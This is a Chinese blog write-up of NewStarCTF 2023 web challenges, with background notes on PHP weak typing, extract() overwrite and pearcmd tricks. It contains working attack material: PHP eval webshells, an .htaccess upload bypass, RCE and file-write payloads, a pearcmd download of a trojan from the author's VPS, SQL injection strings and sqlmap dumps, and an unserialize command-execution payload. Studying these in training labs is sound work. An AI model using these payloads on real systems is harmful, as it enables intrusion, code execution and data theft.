BUUCTF-NewStarCTF 2023-WEB

发布时间 2023-10-29 21:31:44作者: lks3

培训

1.1

一。知识

1.1 302重定向

题目描述
在这里插入图片描述
点击给出的链接后,没有发生任何变化。

解决方案
通过查看网络请求,可以发现发生了302临时跳转,所以我们无法通过浏览器直接访问未跳转的页面,而flag 可能藏在我们目前无法访问的页面之中。所以我们要想办法去访问未跳转的原网站。

而不强制跳转我们可以通过curl指令来完成。因为curl默认是不跟随重定向的。

成功在命令行中找出flag;
在这里插入图片描述

相关知识
什么是HTTP 302 跳转?
首先我们要知道状态码,状态码是HTTP请求过程结果的描述,由三位数字组成。这三位数字描述了请求过程中所发生的情况。状态码位于响应的起始行中,如在 HTTP/1.0 200 OK 中,状态码就是 200。

每个状态码的第一位数字都用于描述状态(“成功”、“出错”等)。如200 到 299 之间的状态码表示成功;300 到 399 之间的代码表示资源已经转移。400 到 499 之间的代码表示客户端的请求出错了。500 到 599 之间的代码表示服务器出错了。

整体范围	已定义范围	分  类
100~199	100~101	信息提示
200~299	200~206	成功
300~399	300~305	重定向
400~499	400~415	客户端错误
500~599	500~505	服务器错误

那么302就属于重定向的状态码,它表示你要访问的资源在别的地方。

301 Moved Permanently 在请求的URL已被移除时使用。响应的Location首部中应该包含资源现在所处的URL
302 Found 与301状态码类似;但是,客户端应该使用Location首部给出的URL来临时定位资源。将来的请求仍应使用老的URL
302表示临时重定向,而301表示永久重定向;

PHP 302 跳转代码

<?php
    header("HTTP/1.1 302 found"); 
    header("Location:https://www.baidu.com");
    exit();
?>

PHP 301 跳转代码

<?php
    header("HTTP/1.1 301 Moved Permanently"); 
    header("Location: http://www.baidu.com/"); 
    exit(); 
?>    

curl 指令
curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据。

我们直接在curl命令后加上网址,就可以看到网页源码。

curl www.baidu.com
$ curl www.baidu.com
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2381  100  2381    0     0  20350      0 --:--:-- --:--:-- --:--:-- 20350<!DOCTYPE html>
<!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer>
   ......
    
    
 </html>

curl 默认是不进行重定向的。如果要进行重定向,我们需要加上-L参数

curl -L taobao.com

加上 -o 参数可以保存网页源代码到本地

curl -o taobao.txt taobao.com -L

加上-i参数可以看到响应报文

curl -i baidu.com
$ curl -i baidu.com
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    81  100    81    0     0    627      0 --:--:-- --:--:-- --:--:--   627HTTP/1.1 200 OK
Server:
Date: Wed, 25 Mar 2020 16:00:02 GMT
Content-Type: text/html
Content-Length: 81
Connection: keep-alive
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>

除此之外,curl 的功能远不止如此。以后再慢慢研究。

1.2 burpsuit-MD5加密爆破

intruder主要就是做暴力破解的,还有一个点比较重要,就是payload processing:

比如GET的值是一个MD5,提交上去必须用明文的MD5

这里要显示11和22的MD5怎么做呢?

把payload处理成MD5(Payload Processing——>Hash——>MD5)
在这里插入图片描述

1.3 请求参数中的非法宇符

php会把请求参数中的非法宇符转为下划线
NI+SA+=NI_SA_
在php中变量名字是由数字字母和下划线组成的,所以不论用 post 还是 get 传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM==CTF_SHOW.COM

注意:这种Trick只能在PHP版本小于8时有效,当PHP版本大于等于8并不会出现这种转换错误

1.4 /X-Real-IP

X-Real-IP是一个自定义Header。X-Real-Ip 通常被 HTTP 代理用来表示与它产生 TCP 连接的设备 IP,这个设备可能是其他代理,也可能是真正的请求端。需要注意的是,X-Real-Ip 目前并不属于任何标准,代理和 Web 应用之间可以约定用任何自定义头来传递这个信息。

1.5 strcmp函数的绕过

使用 strcmp 函数来比较两个字符串,并根据返回的结果来判断哪个字符串更大。具体的规则如下:

如果 strcmp 返回一个正整数,那么第一个字符串大于第二个字符串。
如果 strcmp 返回0,那么两个字符串相等。
如果 strcmp 返回一个负整数,那么第一个字符串小于第二个字符串。

以下是一个示例,演示如何使用 strcmp 来判断哪个字符串更大:

php

$string1 = "apple";
$string2 = "banana";

$result = strcmp($string1, $string2);

if ($result > 0) {
    echo "$string1 大于 $string2";
} elseif ($result == 0) {
    echo "$string1 等于 $string2";
} else {
    echo "$string1 小于 $string2";
}

在这个示例中,strcmp 比较了 "apple" 和 "banana",并返回一个正整数,因此输出是 "$string1 大于 $string2"。这表示 "apple" 在字典顺序中大于 "banana"。

strcmp 的参数只能是字符串,当我们传入数组时就会返回NULL,而判断使用的是,NULL0是 bool(true)的

代码测试

<?php
error_reporting(0);
$flag="{sadd44484878}";
if(isset($_GET['password']))


	if (strcmp($_GET['password'],$flag)==0)
	
		die('Flag: '.$flag);
	
	else
		print 'Invalid password';

?>

get 传参 password[] 数组,成功打出flag

1.6 extract变量覆盖漏洞

直接看题
在这里插入图片描述
extract()函数用法:
extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖

trim()函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符。

ltrim() - 移除字符串左侧的空白字符或其他预定义字符

rtrim() - 移除字符串右侧的空白字符或其他预定义字符

我们本题利用extract()函数的变量覆盖漏洞原理构造payload

漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。

代码审计需要满足两个条件:1. if(isset($a)) == 》 TRUE

  1. if(a==c) ==>TRUE

构造payload:

//利用extract()函数变量覆盖漏洞+php伪协议

http://123.206.87.240:9009/1.php?a=999&b=data://,999

//利用file_get_content()函数返回字符串+php弱类型(null == "string"  ==> true)

http://123.206.87.240:9009/1.php?a=
http://123.206.87.240:9009/1.php?a=&b=
http://123.206.87.240:9009/1.php?a=&c=

属于菜鸡的注释: 当file_get_connents 读入的不是一个文件是,返回的是false ,也就是 NULL

所以我们可以不对 b变量进行赋值或者随意赋值,只要a 是 NULL 就行,如果要想让a 不是NULL 我们就可以利用php伪协议 data,这里不能使用 php://input 是因为 它限定的是GET方式传参

1.7 MD5和sha1,一样的弱类型比较

利用数组绕过(===判断)

Md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断。

1.8 MD5值得是c4d038开头

MD5值得是c4d038开头
寻找合适值的脚本

# 指定MD5值的开头
import hashlib

prefix = "c4d038"
counter = 0

while True:
    input_string = str(counter)
    md5_hash = hashlib.md5(input_string.encode()).hexdigest()

    if md5_hash.startswith(prefix):
        print(f"Found a match: Input string '{input_string}' has an MD5 hash starting with '{prefix}'")
        break

    counter += 1

找到合适的值:114514

1.9参数逃逸

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,点号,空格,单引号

eval一个参数来逃逸,正则匹配时对c参数进行了限制:

?c=eval($_GET[x]);&x=phpinfo();

?c=eval($_GET[x]);&x=system('cp f* 1.txt');

1.10 register_argc_argv

是利用pearcmd.php这个pecl/pear中的文件。

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。

我最早的时候是在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给\$argc、\$argv、$_SERVER['argv']几个变量。

如果PHP以命令行的形式运行(即sapi是cli),这里很好理解。但如果PHP以Server的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?
在这里插入图片描述
[0x00] 本地文件包含
第一眼就看到config-create,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

所以,我构造出最后的利用数据包如下:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

在register_argc_argv开启的时候可以通过+来分隔变量
在这里插入图片描述

payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php

发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>
在这里插入图片描述
然后,我们再利用文件包含漏洞包含这个文件即可getshell:
在这里插入图片描述
[0x01] 公网下载文件
在register_argc_argv开启的时候可以通过+来分隔变量
先进行包含pearcmd.php然后在通过+分隔符来执行download命令

在我们的vps上面创建一个test.php

<?php
echo "<?php system(whoami);?>";
?>

然后在题目url里传入?c=pearcmd&+download+http:/vpsip/test.php
在这里插入图片描述

访问 题目url/test.php
在这里插入图片描述
返回 www-data 可以知道我们用户身份为 www-data 也证明成功下载了我们test.php

那么我们也可以写一个一句话木马,下载到题目里 访问执行命令,获取flag
在这里插入图片描述

但不知道为什么这个更改为木马文件后,就下载不下来了。

看到大师傅后面说的原因是:

实现的原因是我们通过python3开一个服务,而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。

我们vps上在~目录写入一个shell木马,然后python3 -m http.server 81 开放一个服务

最终传入

payload:
?c=pearcmd&+download+http:/vpsip:81/shell.php 

在这里插入图片描述

成功下载下来了shell.php木马文件 密码为shell

在这里插入图片描述
得到flag

速解

payload:
①
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php

②
?c=pearcmd&+download+http:/vpsip:81/shell.php 

1.11 awk

awk逐行获取数据

 cat flag | awk NR==1

1.12 cut命令逐列获取单个字符

 cat flag | awk NR==2 | cut -c 1

1.13 if else判断语句

if 语句语法格式:

if condition
then
command1
command2
...
commandN
fi

写成一行(适用于终端命令提示符):

if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi

1.14 script

用于记录终端会话或命令行操作的输出和输入

script [选项] [文件名]

选项:script命令可以使用多种选项,其中一些常见的选项包括:

-a:追加模式,将输出附加到现有文件而不是覆盖它。
-c:执行命令后退出,而不是启动一个新shell。
-q:不显示启动和退出消息。

文件名:指定要将记录保存到的文件名。如果不提供文件名,script将使用默认文件名typescript

1.5 php GC(垃圾回收)机制

php GC(垃圾回收)机制
GC2

php unserialize fast destruct--这跟垃圾回收机制好像没有联系

有异常,强制退出程序,不会回收对象,即不会执⾏对象的__destruct

throw new Exception("xxx");

1、如果单独执⾏unserialize函数进⾏常规的反序列化,那么被反序列化后的整个对象的⽣命周期就仅限于这个函数执⾏的⽣命周期,当这个函数执⾏完毕,这个类就没了,在有析构函数的情况下就会执⾏它。

2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其⽣命周期就会变⻓,由于它⼀直都存在于这个变量当中,当这个对象被销毁,才会执⾏其析构函数。

本质上,fast destruct 是因为 unserialize 过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调⽤对象的__destruct(), 提前触发反序列化链条。

测试 (php7才⾏ php8不⾏)

class A{
public $name;
public function __destruct(){
echo "A::__destruct";
}
}
unserialize('O:1:"A":1:{s:4:"name";s:3:"123";}');//unserialize这个函数结束后直接执⾏__destruct
throw new Exception("xxxx");
$o = unserialize('O:1:"A":1:{s:4:"name";s:3:"123";}');//unserialize这个函数结束后,由于对象还被引⽤,所以不会被销毁,即不会执⾏__destruct
throw new Exception("xxxx");//抛出异常,再也不执⾏__destruct

所以要fast destruct,让程序抛出异常前就销毁对象。

1.6 php unserialize 字符逃逸

反序列化时花括号}外⾯的东⻄会被当做垃圾,忽略。

字符串⻓度和实际⻓度必须符合,如 s:4:"dmin"; 否则报错

例题:令输出$o['img']this is flag

extract($_POST);
$_SESSION['img'] = 'this is rubbish';
$a = serialize($_SESSION);
$a = preg_replace('/php/i','',$a);
$o = unserialize($a);
echo $o['img'];

解:
⽬标是让this is rubbish放到}外⾯,被当做垃圾,且构造⼀个新的img
因此反序列化字符串必有 s:3:"img";s:12:"this is flag";}。这⼀⼤串要放到⼀个参数的值⾥⾯

令$_SESSION['user']='admin";s:3:"img";s:12:"this is flag";}'
反序列化后:a:2:{s:4:"user";s:38:"admin";s:3:"img";s:12:"this is
flag";}";s:3:"img";s:15:"this is rubbish";}

二。实例

第一周

ErrorFlask

在这里插入图片描述

提示传参number1和number2

/?number1=1&number2=3

在这里插入图片描述

题目中提示了ssti,我们利用ssti的句式让页面显示错误

/?number1=1&number2=3*3

再查看源代码并寻找flag
在这里插入图片描述

Begin of HTTP

在这里插入图片描述

GET:/?ctf=1

在这里插入图片描述
在这里插入图片描述

POST:secret=n3wst4rCTF2023g00000d

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

Begin of Upload

在这里插入图片描述

<?php @eval($_POST[8]);?>

在这里插入图片描述

在这里插入图片描述

http://54fcc65a-b97f-4f44-b28e-56bfb9406d4c.node4.buuoj.cn:81/upload/1.php

在这里插入图片描述

泄漏的秘密

在这里插入图片描述

分别访问robots.txt和www.zip即可发现分成两半的flag

Begin of PHP

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

第一处if:
MD5弱类型绕过:

?key1[]=1&key2[]=2

第二处if:
MD5弱类型绕过:

&key4[]=11

一二处都还可以:0e开头的全部相等

第三处if:
strcmp 的参数只能是字符串,当我们传入数组时就会返回NULL,而判断使用的是,NULL0是 bool(true)的:

key3[]=1

第四处if:

&key5=13123a

也是弱类型比较:2024a

第五处if:

extract()函数用法: extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖

&flag5='

在这里插入图片描述

R!C!E!

考点:
不合法字符 参数逃逸

疑点:
明明有eval,传参中还要eval

第一种方法

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

MD5值得是c4d038开头
寻找合适值的脚本

# 指定MD5值的开头
import hashlib

prefix = "c4d038"
counter = 0

while True:
    input_string = str(counter)
    md5_hash = hashlib.md5(input_string.encode()).hexdigest()

    if md5_hash.startswith(prefix):
        print(f"Found a match: Input string '{input_string}' has an MD5 hash starting with '{prefix}'")
        break

    counter += 1

找到合适的值:114514

还要用绕过字符:

参数逃逸

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,点号,空格,单引号

eval一个参数来逃逸,正则匹配时对c参数进行了限制:

	?c=eval($_GET[x]);&x=phpinfo();

	?c=eval($_GET[x]);&x=system('cp f* 1.txt');

payload:

password=114514&e[v.a.l=eval($_POST[8]);&8=system('ls /');

password=114514&e[v.a.l=eval($_POST[8]);&8=system('cat /flag');

EasyLogin

一种思路

在这里插入图片描述
注册一个账号

检查,并点击登录
在这里插入图片描述
发现进行了302跳转

flag可能在其中

重新登录,并抓包

在返回包中发现了flag的位置提示

在这里插入图片描述

假的,应该是得要以管理员身份登录

猜测账号是admin,开始爆破

发现了密码被MD5加密了:
在这里插入图片描述

学习一下怎么办后爆破

在这里插入图片描述

先爆破六位数的纯数字

在这里插入图片描述
——————————————

在这里插入图片描述
第一个就是密码,密码为000000;

开启抓包,输入正确的账号密码,点击登录

在302跳转的这个页面发现了flag

在这里插入图片描述

有意思的是在这个页面点击Go再次发包,就显示找不到网址了

在这里插入图片描述
在这里插入图片描述

另一种思路(正解)

考点:弱口令登录、HTTP 302 跳转抓包
FLAG:动态FLAG
解题步骤

进入之后是一个登录界面,先随便注册一个账号登进去看看。Ctrl CCtrl D回到 Shell,简单看了下目录结构没有什么东西,只告知了含有一个 admin 用户,按方向上键可以查询Bash历史记录。

在这里插入图片描述

发现 Hint,得知 admin 的密码为弱密码加上newstarnewstar2023后其中的一个。
Ctrl D或者输入exit后回车回到登录界面。试一下newstar``newstar2023,没登进去,在网上随便搜弱密码,试一些常见的,试出来是qwe123,不同的靶机密码可能不一样。

提示:题目采用的弱密码表

123456789
password
newstar
newstar2023
123qwe
qwe123
qwertyuiop
asdfghjkl
zxcvbnm
admin123
admin888
111111
000000

查询历史记录只提示了使用BurpSuite,尝试抓包。

在这里插入图片描述

使用BurpSuite拦截、开启代理,重新完成一次登录,发现一个/passport的 302 跳转,查看它的响应获取 flag.

在这里插入图片描述

查找密码的正确方式

抓包,同时修改密码

在这里插入图片描述

有hint,且每次都不同

第二周

游戏高手

一种方法

在这里插入图片描述

经测试,发现游戏属于JS代码运行,搜索alert
发现可能弹出代码的地方

条件是分数gameScore>100000

在这里插入图片描述

搜索gameScore,发现最开始赋值的地方var gameScore = 0;

在这里插入图片描述

可以直接将其在控制台修改,进行游戏,初试分数就满足要求了

在这里插入图片描述

死亡后得到flag

在这里插入图片描述

第二种方法

考点:JavaScript分析
FLAG:动态FLAG
解题步骤
去查看源代码中的app_v2.js文件内容,可以看到在游戏结束的处理时代码如下:

function gameover(){
    if(gameScore > 100000){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/api.php", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
            alert(response.message);
        }
        };
        var data = {
            score: gameScore,
        };
        xhr.send(JSON.stringify(data));
    }
	alert("成绩:"+gameScore);
	gameScore=0;  
	curPhase =PHASE_READY;  
	hero = null;
	hero = new Hero();  	    
}

可以看到当分数大于10w分的时候XHR会向api.php发送一个json数据包,json内容如下:
{"score":gameScore}

然后我们可以使用Burp Suite来完成发包:

在这里插入图片描述

修改POST,/api.php,Content-Type:,{"score":1000000}

POST /api.php HTTP/1.1
Host: e032af78-00ff-4553-bae2-cb5bae19460c.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "2cb-5f7c86fc11d00-gzip"
If-Modified-Since: Sun, 26 Mar 2023 07:18:44 GMT
Content-Type: application/json
Connection: close
Content-Length: 17

{"score":1000000}

ez_sql

在这里插入图片描述

进来是一个成绩查询界面

暂未发现注入点

点一个学科进去
在这里插入图片描述

http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919

发现注入点Get:/?id=

①Sqlmap扫

sqlmap -u http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919 --level 3

在这里插入图片描述
扫出的注入类型有三个:布尔,时间,显错

直接爆库,得到flag

sqlmap -u http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919 --dump --level 3

在这里插入图片描述

②手注

/?id=TMP0919' and 1=1 -- qwe

提示
在这里插入图片描述

fuzz测试一下

handler select sleep or select handler xor ascii select oorr anandd
sleep floor rand() information_schema.tables order format substring
ord for

过滤了and,sleep,但没有过滤AND,SLEEP可以使用大小写绕过

'AND 1=1 -- qwe
'AND 1=2 -- qwe

/?id=TMP0919'AND SLEEP(5) -- qwe

在这里插入图片描述
存在布尔盲注

在这里插入图片描述
存在时间盲注

/?id=TMP0919'ORder by 5-- qwe

在这里插入图片描述
页面字段数为5

/?id=1'UNION SELECT 11,22,33,44,55 -- qwe

在这里插入图片描述
存在显错注入

显错注入得flag

'UNION SELECT GROUP_CONCAT(TABLE_NAME),2,3,4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() -- QWE
//grades,here_is_flag

'UNION SELECT GROUP_CONCAT(COLUMN_NAME),2,3,4,5 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME = 'here_is_flag' -- QWE
//flag

'UNION SELECT flag,2,3,4,5 FROM here_is_flag -- QWE
//flag{abd5cedf-864a-48f2-b3f6-753765acdbf4}

include 0。0

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

考点:要使用php伪协议
难点:常用的string.rot13,convert.base64-encode 被过滤了
解法

解法1

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

查看源代码
在这里插入图片描述

显示出来的flag太乱了

?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d

这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上。


上python脚本交换回来

def swap_odd_even_chars(input_str):
    # 将字符串转换为字符列表以便于交换
    char_list = list(input_str)

    # 遍历字符串的奇数位和偶数位字符并交换它们
    for i in range(0, len(char_list) - 1, 2):
        char_list[i], char_list[i + 1] = char_list[i + 1], char_list[i]

    # 将字符列表转换回字符串
    result_str = ''.join(char_list)
    return result_str

# 测试
input_string = "?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d"
result = swap_odd_even_chars(input_string)
print(result)  # 输出

得到flag:
在这里插入图片描述


php代码,再次进行相同转换:

<?php
echo iconv("UCS-2LE","UCS-2BE",'?<hp p//lfgaf{64fca9-a2ab54-36-9ebcd2-e22e79aff1}d');

查看源代码
在这里插入图片描述

解法2

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

在线转换网站

Upload again!

在这里插入图片描述

图片马

<?php
@eval($_POST[8]);
echo "it is ok";
?>

在这里插入图片描述

不行,现在来判断是黑名单还是白名单

在这里插入图片描述

换了一种提示方式,猜测应该是对马有要求
换成这个

<script language="php">eval($_POST[8]);</script> 

再次上传
在这里插入图片描述

图片上传成功,还需要上传.htaccess文件
在这里插入图片描述

连蚁剑

http://a5b725de-8dc0-4ba6-83b8-51f5c3da83d7.node4.buuoj.cn:81/upload/22.jpg

在这里插入图片描述

Unserialize?

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

没有过滤nl

[0x00] 生成payload

<?php
class evil {
    private $cmd = 'nl /th1s_1s_fffflllll4444aaaggggg ';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$a = new evil;
echo urlencode(serialize($a));

POST:O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A34%3A%22nl+%2Fth1s_1s_fffflllll4444aaaggggg+%22%3B%7D

在这里插入图片描述

在这里插入图片描述

R!!C!!E!!

在这里插入图片描述
考点:目录扫描 无参rce(在apache2环境下的getallheaders())  Nginx+Apache可以同时使用(其实就是Nginx做前端,Apache做后端)
疑点:加入的head要在Connection:上面 明明源代码中已经有eval了,却还是要再套一个eval函数

[0x00] 找到文件
dirsearch扫描目录:

dirsearch -u http://3a6205c4-b4ad-4537-bb0e-998d11070be3.node4.buuoj.cn:81/ -e php -s 0.4 -t 3

在这里插入图片描述
发现很多git文件,使用GitHack尝试得到文件

[0x01] 代码分析,构建payload
bo0g1pop.php文件中得到源码

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){	
        eval($_GET['star']);
    }
}

访问bo0g1pop.php
在这里插入图片描述

分析一下代码:
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])
无参rce

数字字母'_'()


过滤了scandir,直接斩断我们用代码执行(只用php自带函数)的路子


在这里插入图片描述
可惜又过滤了get_defined_vars

在这里插入图片描述
session_id(session_start()又不行了

④成功的路子
ok,最后一条路,
apache2环境下,我们有函数getallheaders()可返回http header

print_r(getallheaders());

sky: system('ls /');

在这里插入图片描述
sky要在Connection上面,不知道为什么

一种构造

payload:
eval(array_rand(array_flip(getallheaders())));

sky: system('ls /');

sky: system('cat /flag');

在这里插入图片描述

在这里插入图片描述

另一种构造

payload:
eval(pos(array_reverse(getallheaders())));

X-Forwarder-Proto: system('cat /f*');//到最后一位

在这里插入图片描述

第三周

medium_sql

在这里插入图片描述

进来是一个成绩查询界面

暂未发现注入点

点一个学科进去
在这里插入图片描述

http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?id=TMP0919

发现注入点Get:/?id=

Sqlma扫不出来只有手注

手注

'and 1=1-- qwe

在这里插入图片描述

有禁用的东西,就fuzz测试

handler select sleep or select handler xor ascii select oorr anandd
sleep floor rand() information_schema.tables order format substring
ord for and

都是瞎写,判断可以通过大写绕过

'ORDER by 5 -- qwe

判断出页面字段数为5

想再判断显错点

'UNION SELECT 111,222,333,444,555 -- qwe

在这里插入图片描述
开始union被禁用了,我绕不过去,就只有利用盲注-python脚本

[*]开始获取数据库名长度
[*] 数据库名长度:3
[*]开始获取数据库名
[*]c
[*]ct
[*]ctf
[+]当前数据库名:ctf
[*] 开始获取ctf数据库表数量:
[*]ctf数据库中表的数量为:2
[*] 开始获取ctf数据库中的表名
[*] 正在获取第1个表名
g
gr
gra
grad
grade
grades
[*] 正在获取第2个表名
h
he
her
here
here_
here_i
here_is
here_is_
here_is_f
here_is_fl
here_is_fla
here_is_flag
[+]数据库ctf的表如下:
(1)grades
(2)here_is_flag
[*]请输入要查看表的序号:2
[-]开始获取here_is_flag数据表的字段数:
[*] ctf数据库中的here_is_flag表的字段个数为1个:
正在获取第1个字段的长度和名称:
f
fl
fla
flag
[+]数据表here_is_flag的字段如下:
(1)flag
[*]请输入要查看字段的序号(输入0退出):1
[-]开始获取here_is_flag表flag字段的数据数量
[-]here_is_flag表flag字段的数据数量为:1
[-]正在获取flag的第1个数据
[-]第1个数据长度为:42
f
fl
fla
flag
flag{
flag{8
flag{80
flag{806
flag{8064
flag{80642
flag{806421
flag{8064216
flag{80642161
flag{80642161-
flag{80642161-8
flag{80642161-85
flag{80642161-858
flag{80642161-858d
flag{80642161-858d-
flag{80642161-858d-4
flag{80642161-858d-48
flag{80642161-858d-487
flag{80642161-858d-4876
flag{80642161-858d-4876-
flag{80642161-858d-4876-a
flag{80642161-858d-4876-a1
flag{80642161-858d-4876-a14
flag{80642161-858d-4876-a143
flag{80642161-858d-4876-a143-
flag{80642161-858d-4876-a143-5
flag{80642161-858d-4876-a143-5b
flag{80642161-858d-4876-a143-5b0
flag{80642161-858d-4876-a143-5b03
